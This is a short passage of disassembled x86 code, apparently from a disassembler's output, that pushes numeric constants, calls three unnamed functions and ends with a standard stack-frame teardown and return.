push 0x1878
push 0x3b28
push 0x7bf1
push 0x1103
push 1
push 0x5132
push 0x2261
push 1
push 0x64f7
call fcn.0041f55a
add esp, 0x38
jmp 0x41210c
jmp 0x412175
push 0x494b
push 0x6261
push 1
push 0
call fcn.0040b00f
add esp, 0x10
jmp 0x412185
push 1
push 0x3663
call fcn.0040a46c
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret